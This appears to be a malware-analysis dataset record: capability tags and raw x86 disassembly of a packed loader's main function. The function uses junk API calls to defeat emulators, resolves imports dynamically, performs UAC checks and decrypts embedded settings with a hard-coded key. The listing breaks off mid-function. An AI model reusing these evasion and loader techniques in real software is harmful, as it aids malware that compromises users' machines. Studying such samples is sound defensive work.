Function at 0x401120
Capabilities:
Check mutex on windows
Get file system object information
Packed with generic packer
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xbc
push esi
push edi
lea edi, [ebp - 0xbc]
pushal
popal
push 0x2f
pop ecx
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
push esp
pop esi
push str.DEBUG:_incognito___Working
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push 0
call fcn.00403030
add esp, 4
push eax
call fcn.00407550
add esp, 4
call fcn.004050f0
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Passed_emulation_checks.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str._Rtf__k5sgxQfKoPRVzS_u41zbwa_p8PFzQq_N_ya2gw_t3vDfuf9h_f2feD5n1NAD_1fPQ9I_ceAZspze_FtminMf1_Q_VdmiU7iu_p_7VJVgbkRN_ZX_8_lO8jU9_SxdqezILSOvTf_1_NPDM__o_Jd37Oqfbbql_KyNe1_Fb_gEZyty_9N_vsg4P_vWVHMAT_zSHAK_v8LKFa_FjKLvl_fxiBFEMbpxdfNfA4ruX_q48xJUJ__B1QXs_LTJi_wO4K_xLe7zD9taiKkOE2f_N1GCJUU_cByb8u__t_xVY1RNCbf6YRZUaP8_oS3cmvh_kogB1BntN_H96hlw68TvzG_SMM7I_H__7y_dxF__1PBGjh___7ttRRiRM_HPPzrCtR3QgGqxZn3_p_qzgVPsA_Ywz9pQ_oG_kza9lr5Zml_CQ8o5cXmXH_mTN9krr__w_Ly9pn4vWOGxOcbzNi_yIt4E95Qd8hGsd_q1kPynne4P_OR_w2_w2wO_Wbl_XJT4W_oRSIaDbA__NzlQA_E9_KJyVQNX___o__L6IVMphdZ_f__Zcw_Osy_6L_3REtv3ASg_ouhX_e_4SHulyF__i86mCDiHqagFODwM__n_CUHZ6RW_w_ff75___gjhCgdRXKd_V9MinH_af_Fkl_G_k2_j_GvSW_wbn_y_5_Ta_q__Rj_CNH8rwxoDpCKHL3__q6_H__nJ2F_93_fSUuvJTZ__4L7_rflkrSPMo37C9x_E_k7_d_rYASD1una5KcN9oK1LOGx7XsFo_aady6J3bMFj_6D___9GtITzLa__b__C_OjvU1LFaV_DTh_RuDYO4lFfThAAvxPGCHg___YhP_PZwM_GfqnAzpH_oTcS_ISseGSbpldK_CGdvuC__QY59z_JN3U8nZUu99Omxr_mMjDpmgm_OT_kcgF3ovNY_qyL_KF94m__ySY_J_KkHac__6G1TDajk9uZ8aHQ__qKka_BDG_hu_eBPn3_KoKuih_MD6_19a_H_8QTt
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
mov eax, 0x1d6
mov word [ebp - 4], ax
call fcn.00407570
call fcn.00407570
mov ecx, 0x802
mov word [ebp - 8], cx
mov dword [ebp - 0xc], 0
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x10], 0xdba
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
call fcn.00405f80
push esp
pop esi
push 0x45b00c
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
cmp esi, esp
call fcn.00407340
mov dword [0x45d254], eax
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x14], 0x30e
mov dword [ebp - 0x18], 3
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x1c], 0x1124
push esp
pop esi
push str.rT_:_
mov edx, dword [0x45d254]
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp esi, esp
call fcn.00407340
mov dword [0x45d2b0], eax
mov dword [ebp - 0x20], 0x20f
push esp
pop esi
push str.DEBUG:_Pre_loading_of_strings_complete.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 7
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b04c
mov eax, dword [0x45d254]
push eax
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d2b4], eax
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x24], 0x200
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x28], 0xf80
push esp
pop esi
push str.TU__v
call dword [0x45d2b4]
cmp esi, esp
call fcn.00407340
mov dword [0x45d258], eax
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x2c], 0xadb
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b270
call dword [0x45d2b4]
cmp esi, esp
call fcn.00407340
mov dword [0x45d264], eax
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
mov ecx, 0x88e
mov word [ebp - 0x30], cx
push esp
pop esi
push str.DEBUG:_Loaded_all_the_necessary_DLLs.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x31
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b27c
mov edx, dword [0x45d258]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d268], eax
call fcn.00407570
call fcn.00407570
mov eax, 0x4e0
mov word [ebp - 0x34], ax
mov ecx, 0x814
mov word [ebp - 0x38], cx
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b28c
mov edx, dword [0x45d258]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d26c], eax
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.gT___
mov eax, dword [0x45d258]
push eax
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d270], eax
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b2a0
mov ecx, dword [0x45d258]
push ecx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d278], eax
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.gT_92_rn_r
mov edx, dword [0x45d258]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d27c], eax
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
mov esi, esp
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b2cc
mov eax, dword [0x45d264]
push eax
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d280], eax
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x3c], 0xa01
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b168
mov ecx, dword [0x45d254]
push ecx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d2a8], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45b09c
mov edx, dword [0x45d254]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d284], eax
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45b0a8
mov eax, dword [0x45d254]
push eax
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d288], eax
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x40], 0xf33
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x44], 0x87e
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b090
mov ecx, dword [0x45d254]
push ecx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d28c], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45b138
mov edx, dword [0x45d254]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d294], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b178
mov eax, dword [0x45d254]
push eax
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d2ac], eax
push esp
pop esi
push section..data
call dword [0x45d2b4]
cmp esi, esp
call fcn.00407340
mov dword [0x45d25c], eax
push esp
pop esi
push 0x45b0cc
mov ecx, dword [0x45d25c]
push ecx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d29c], eax
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x48], 0x3b3
push esp
pop esi
push 0x45b038
mov edx, dword [0x45d254]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d274], eax
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.vC__v
mov eax, dword [0x45d254]
push eax
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d298], eax
push esp
pop esi
push 0x45b11c
mov ecx, dword [0x45d25c]
push ecx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d290], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.DEBUG:_1
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.hMBlbNiXB_7zCTtrxDbRUFbSPPVO_bpSyM_Da2_dHcsWV4HFxWY_4Fh5JdgDS9vfa__fsToP7agw_hri5
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
call fcn.004055c0
mov dword [0x45d250], eax
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x45b06c
mov edx, dword [0x45d254]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d2a0], eax
call fcn.00407570
call fcn.00407570
call fcn.00404000
mov dword [0x45b48c], eax
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.DEBUG:_Completed_ADMIN__UAC_checks.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.iIIEq_4IBCEU_b2Jkrkj_P_4cSC___IWlytw__u9rYo612_UYpkm_vfVQKYh_lh_NMJJ2YPKbWh_G9cfjiFom_JjO_b1GkzMqGx5E8mA_Brky__vhvCkD__2Hq_GlrDu_NPJJjv_X8uMMKb2O_r__nTOUTpzEzL_fpzRTU_MKoitwXVK_EwSJ44KP_Eeo_De_5ZHQbsV_w_GOQS
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
lea eax, [ebp - 0x54]
mov dword [ebp - 0x5c], eax
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x50], 0x401000
call fcn.00407570
call fcn.00407570
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
mov eax, dword fs:[0]
mov dword [ebp - 0x60], eax
mov ecx, dword [ebp - 0x60]
mov dword [ebp - 0x54], ecx
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
mov eax, dword [ebp - 0x5c]
mov dword fs:[0], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_2
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.K_BUvGGDnkTo_9HIShcE__F_4_UzfIfNT_jEWD___WjKK7EP8nJuw42t6cs_i_5W_m_7_9BTz3vtv83kHztA_tBOgViN85_mb___1BT_s1UyXUYe3pb31Gvo5FJtMNg___oRS1Vd9_RB3_iB6Bf_43vb__i6lg_t4mt1WYwYKkoIXaaSyuML_P6_Gri_e_PvFh3xe_G_WwWZo1dNsD_gzPqFL4IUMXbM_OK_q_oh2gzc79XHqntX_gn_1c6Gl__DUb_l_fhV__2lhRTlakpgfSJxVWEgJb_U_gcZp9kaeuhqp_Ut_R_xVvOoYV4j5XY6_aSeb91P__Qfg_vk__th7PDkWYrtAx9fXbL_DJpWGP899MRDs_IqymNeW__vYk9__hfS_s3JmMpD_Ld5__Moh_frqqwGJ_3KGeL5IBb_lt3SJsYzFmfC_E_lvV__R4_wVH_2V__PSu_hr__x_GAZg2QhTy_zRnf4s_MC4zGVT3exRievcDNvE_QY_YhU4yCL_ihJcRJ1I_cf_B_ANg__YuqrQ_a7TnjeqeG_nL__j8hST_ChzM__n
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
call fcn.00404f80
test eax, eax
je 0x401a7a
xor eax, eax
jmp 0x402f45
call fcn.00407570
call fcn.00407570
push esp
pop esi
push str.DEBUG:_3
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.gPr4cXfwkd8Z_a_wawuaI___K_26WzShj2Hi6X_u__Cp2b__KWhWL_v7Ng4Qp_FVjEwE_J___RE_M92sgS8_eQdJVQ7k__UKh_yTm_j__Rrwhj_u_wS_Y7LYZa8Gutmx4_yZl_5C__vnn_sZK4uv_U_IjdUY9TO_U7fqnGwcNkWGo__cpJXQ3_yLoQNtK__Q__LCWtFjZPpeUWqqf_gQg8R_HPjE33sl9xcwl6IR4______Uqekfq19cEm_f_EMf_o_b69vpn_4__FB_YrfhqQMSaCr_rChnW__wOOY_AmfllwVlaGXW7XXjUG4wLBSNObkLnZ_K_D6A__6RMRCw_UfCGYKfg___ll9_Lo___Q8_m__bDZC_uqO_VnGex_AH9bnTM8__a__6gD6mmPUXqlIx1x__uK_jbymGJr38IA4qS9_gJvZFBuT7Zs_3yB_Oq3XXg__Z_fV__S9Q_Yl_Oln_5ePBiwusA_Au3dJx_uRKlw6RxDyP4Y9YqP9M3_mI7ZeqcgX_u_b_rVqT_
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45b148
mov edx, dword [0x45d254]
push edx
call dword [0x45d2b0]
cmp esi, esp
call fcn.00407340
mov dword [0x45d2a4], eax
push esp
pop esi
push 0x104
push 0x45d148
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x64], 0xdba
mov dword [ebp - 0x68], 0x47c
push 0
call fcn.00403440
add esp, 4
push esp
pop esi
push eax
push 0x45c380
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov eax, 0x45c380
or eax, eax
jne 0x401b75
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0x45d148
push 0x45c380
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_4
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str._sB9lA_U7_PQCLc__u_9I_IBx9665i_w2lQds6gZ_gA_ak4N_NH__FIr_OFC4FD_fremM_6XGcbrYN_128UYM__dABfI3ki_mwTYTyix4dC3MIa_JTry84G_O98tWw___U_lM_Wb2Z_WD_7ljq__G3VrAarb_H2bA9g_zB1_qv_bGi_KYGsxWiBA_yEv_wJu_rnX___C2iCxsg__H9c_C_mhboyAOy_Llvd_kq___Thg4RWT_T_4rBjHFYE_iBO2uja68OR3SyE6y5u7UHPE_bGK8az2W3JekcQMjT_ZAVI_MPhj1zYYTnMai_R53xGQb9occyZv7wF_yqb1f_7BK_H1lg___XH_9___8g_C7Tvl_5Tc9_SixWYO_GEu_8JtdRv_w__Kr_guP7Jaayotp_4O9MP_oHX3ln_loQef1_ua6_IOqju3_cu_N17FN_dDqsZ8L4__kwqjx_a_t_M77EB49S5Lv6RI_HLc_l_mCnqUmzU_kmMnu9y__sJ_1Ye_WnDCIMW__PwzwKGbJxCN_ybPJ_QdgmHyx6RKys3NcpFaKcXQB_aFJLMvjHNrwyUKfZ_U6_yiBe_4b_ZE_h_OQ3uAsGMKEA_nOfWLPu9dxqxTGpT_ILjsJB_Ijafcz2_T_REdng_jrFwf_4X9Dl8_esJ_F_EZ_H4__gDG_ViL_S5FRe83lTx_PEIu_4_uq_1XS_vd2ks189_da_V72b_W_q9U___5ykko1tf9_bERJ7Gn_DNO_PF338z9Q7aFhG_8NQ1z4rM2Bq_Mg_Lv92BzVQNxRG_D3S__GV_wRpll_962I8xwEP__S
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x70], 0
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x78], 0
mov dword [ebp - 0x84], 0
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x8c], 0x9cd
lea ecx, [ebp - 0x78]
push ecx
push 0x45b3a8
call fcn.00403050
add esp, 8
mov dword [ebp - 0x6c], eax
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 0x6c], 0
je 0x401c2d
cmp dword [ebp - 0x78], 0
jne 0x401c66
push esp
pop esi
push str.DEBUG:_No_settings_exist._Terminating_application.
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.av96pwSy_mNDOJf5WcG1mg9Q_IXtQM3x5__kv4_DVS_aiN6Ba5_Glqp_D_cZuMgS5UVM_So52AT8mh3vFi7dQYojH_tUa_y_Rt__TQqrQ6K5Izj9SWYx9NUTLgxzZ5s_lWQtyO__ub_8p7j3p7y9r8rG72oW4KX_S_y_RbTJle6Iz9_XcO_2d__18_aRA_Kiw_ax7_RcPTu23L4x_xpuxRiFAumWPmZP__9ZDkIrTZ_YH_d_vzo_bRbLR7jMkzpnR3_BY_z
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
xor eax, eax
jmp 0x402f45
call fcn.00407570
call fcn.00407570
mov edx, dword [0x45d2b8]
push edx
mov eax, dword [ebp - 0x78]
push eax
push str.51JjWy8loTn5ZUauGlytxyPeNpDP5ys0
mov ecx, dword [ebp - 0x6c]
push ecx
call fcn.004051f0
add esp, 0x10
mov dword [ebp - 0x6c], eax
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 0x6c], 0
je 0x401ca5
cmp dword [ebp - 0x78], 0
jne 0x401cac
xor eax, eax
jmp 0x402f45
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.DEBUG:_Decrypted_settings:
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
mov edx, dword [ebp - 0x6c]
push edx
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push str.giRKByx_yEy_u_4Awun2_i_Tkuhcoo_WOd_b_LWFd_dvZlj6VFk11_4IuP2nyw_67EkHcUn3G8uB3_Q_GQ_me_Ecfp_8UU__S6Z___e_Oh_GbD_z1NvgTsGzIf_2LUyx6MliKgj6Us_5BxkX4Fa3UxDcf_t7_Gc_Ux9S_cupOzh__AR_fT3uFP5_6hOO_h7IgoqXEPBasYve6Lzr_9qqcW
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0x33
call dword [sym.imp.KERNEL32.dll_Sleep]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov dword [ebp - 0x90], 0
call fcn.00407570
call fcn.00407570
push 0x446398
mov eax, dword [ebp - 0x6c]
push eax
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
cmp dword [ebp - 0x90], 0
jne 0x401d62
xor eax, eax
jmp 0x402f45
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov ecx, dword [ebp - 0x90]
push ecx
push 0x45c488
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x4463cc
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
mov edx, dword [ebp - 0x90]
push edx
push 0x45c4b1
call fcn.00407ab0
add esp, 8
push 0x4463e8
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
mov eax, dword [ebp - 0x90]
push eax
push 0x45c4d8
call fcn.00407ab0
add esp, 8
push 0x446404
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
mov ecx, dword [ebp - 0x90]
push ecx
push 0x45c501
call fcn.00407ab0
add esp, 8
push 0x446420
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
push esp
pop esi
push 0
call dword [sym.imp.ole32.dll_CoInitialize]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov edx, dword [ebp - 0x90]
push edx
push 0x45c503
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x44643c
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
push esp
pop esi
push 0
push 0x44d870
push 0
push 0
push 0x44d870
call dword [sym.imp.ole32.dll_CoCreateInstance]
cmp esi, esp
call fcn.00407340
push esp
pop esi
mov eax, dword [ebp - 0x90]
push eax
push 0x45c507
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x446458
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
mov ecx, dword [ebp - 0x90]
push ecx
push 0x45c51a
call fcn.00407ab0
add esp, 8
push 0x446474
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
mov edx, dword [ebp - 0x90]
push edx
push 0x45c543
call fcn.00407ab0
add esp, 8
push 0x446490
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
push 3
push 0
push 0
push 0xffffffffffffffff
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, esp
call fcn.00407340
mov eax, dword [ebp - 0x90]
push eax
push 0x45c648
call fcn.00407ab0
add esp, 8
push 0x4464ac
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov ecx, dword [ebp - 0x90]
push ecx
push 0x45c64e
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x4464c8
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
mov edx, dword [ebp - 0x90]
push edx
push 0x45c775
call fcn.00407ab0
add esp, 8
push 0x4464e4
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov eax, dword [ebp - 0x90]
push eax
push 0x45c777
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x446500
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov ecx, dword [ebp - 0x90]
push ecx
push 0x45c779
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x44651c
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov edx, dword [ebp - 0x90]
push edx
push 0x45c77b
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x446538
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
mov eax, dword [ebp - 0x90]
push eax
push 0x45c781
call fcn.00407ab0
add esp, 8
push 0x446554
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
push esp
pop esi
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.SHELL32.dll_SHGetFileInfoA]
cmp esi, esp
call fcn.00407340
call fcn.00407570
call fcn.00407570
mov ecx, dword [ebp - 0x90]
push ecx
push 0x45c78a
call fcn.00407ab0
add esp, 8
push 0x446570
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
mov edx, dword [ebp - 0x90]
push edx
push 0x45c790
call fcn.00407ab0
add esp, 8
push 0x44658c
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov eax, dword [ebp - 0x90]
push eax
push 0x45c796
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
cmp esi, esp
call fcn.00407340
push 0x4465a8
push 0
call fcn.00408300
add esp, 8
mov dword [ebp - 0x90], eax
call fcn.00407570
call fcn.00407570
push esp
pop esi
mov ecx, dword [ebp - 0x90]
push ecx
push 0x45c509
